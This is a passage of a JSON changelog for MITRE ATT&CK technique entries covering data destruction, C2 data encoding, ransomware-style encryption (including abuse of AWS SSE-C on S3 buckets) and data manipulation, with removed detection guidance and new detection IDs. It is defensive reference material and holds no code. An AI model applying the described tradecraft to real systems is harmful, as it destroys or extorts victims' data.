2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1485", + "external_id": "T1485" + }, + { + "source_name": "DOJ - Cisco Insider", + "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.", + "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Data Destruction - Threat Post", + "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.", + "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee", + "Varonis Threat Labs", + "Joey Lei" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Snapshot: Snapshot Deletion\", \"Cloud Storage: Cloud Storage Modification\", \"Process: Process Creation\", \"File: File Deletion\", \"Image: Image Deletion\", \"Instance: Instance Deletion\", \"File: File Modification\", \"Volume: Volume Deletion\", \"Cloud Storage: Cloud Storage Deletion\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.149000+00:00\", \"old_value\": \"2025-04-15 19:59:11.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\\\Windows\\\\System32\\\\.\\n\\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\\\Windows\\\\System32\\\\.\\n-\\n-In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Deletion)", + "DS0009: Process (Process Creation)", + "DS0010: Cloud Storage (Cloud Storage Deletion)", + "DS0010: Cloud Storage (Cloud Storage Modification)", + "DS0017: Command (Command Execution)", + "DS0020: Snapshot (Snapshot Deletion)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)", + "DS0030: Instance (Instance Deletion)", + "DS0034: Volume (Volume Deletion)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0146: Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:43.540000+00:00", + "modified": "2025-10-24 17:49:23.915000+00:00", + "name": "Data Encoding", + "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1132", + "external_id": "T1132" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.915000+00:00\", \"old_value\": \"2025-04-16 20:37:21.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0108: Detection Strategy for Data Encoding in C2 Channels" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:39:50.117000+00:00", + "modified": "2025-10-24 17:49:27.237000+00:00", + "name": "Non-Standard Encoding", + "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1132/002", + "external_id": "T1132.002" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.237000+00:00\", \"old_value\": \"2025-04-25 14:48:12.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0326: Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:36:52.095000+00:00", + "modified": "2025-10-24 17:48:20.938000+00:00", + "name": "Standard Encoding", + "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1132/001", + "external_id": "T1132.001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.938000+00:00\", \"old_value\": \"2025-04-16 20:37:14.817000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0124: Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-15 13:59:30.390000+00:00", + "modified": "2025-10-24 17:49:16.589000+00:00", + "name": "Data Encrypted for Impact", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)(Citation: Varonis)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) For example, in AWS environments, adversaries may leverage services such as AWS\u2019s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.(Citation: Halcyon AWS Ransomware 2025)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1486", + "external_id": "T1486" + }, + { + "source_name": "CarbonBlack Conti July 2020", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "Rhino S3 Ransomware Part 1", + "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.", + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/" + }, + { + "source_name": "Halcyon AWS Ransomware 2025", + "description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.", + "url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c" + }, + { + "source_name": "Varonis", + "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.", + "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire" + }, + { + "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021", + "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" + }, + { + "source_name": "NHS Digital Egregor Nov 2020", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020.", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary" + }, + { + "source_name": "US-CERT Ransomware 2016", + "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + }, + { + "source_name": "US-CERT SamSam 2018", + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Mayuresh Dani, Qualys", + "Harshal Tupsamudre, Qualys", + "Travis Smith, Qualys", + "ExtraHop" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Cloud Storage: Cloud Storage Modification\", \"Network Share: Network Share Access\", \"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.589000+00:00\", \"old_value\": \"2025-04-15 19:59:00.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\\n\\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\\n\\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\\n-\\n-In some cases, monitoring for unusual kernel driver installation activity can aid in detection.\\n-\\n-In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0010: Cloud Storage (Cloud Storage Modification)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0033: Network Share (Network Share Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0215: Detection of Multi-Platform File Encryption for Impact" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:19:22.609000+00:00", + "modified": "2025-10-24 17:49:13.111000+00:00", + "name": "Data Manipulation", + "description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565", + "external_id": "T1565" + }, + { + "source_name": "Sygnia Elephant Beetle Jan 2022", + "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", + "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"File: File Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Deletion\", \"File: File Modification\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.111000+00:00\", \"old_value\": \"2025-04-15 22:14:59.144000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1030: Network Segmentation", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0059: Detection Strategy for Data Manipulation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:30:05.252000+00:00", + "modified": "2025-10-24 17:48:37.277000+00:00", + "name": "Runtime Data Manipulation", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565/003", + "external_id": "T1565.003" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + } + ], + 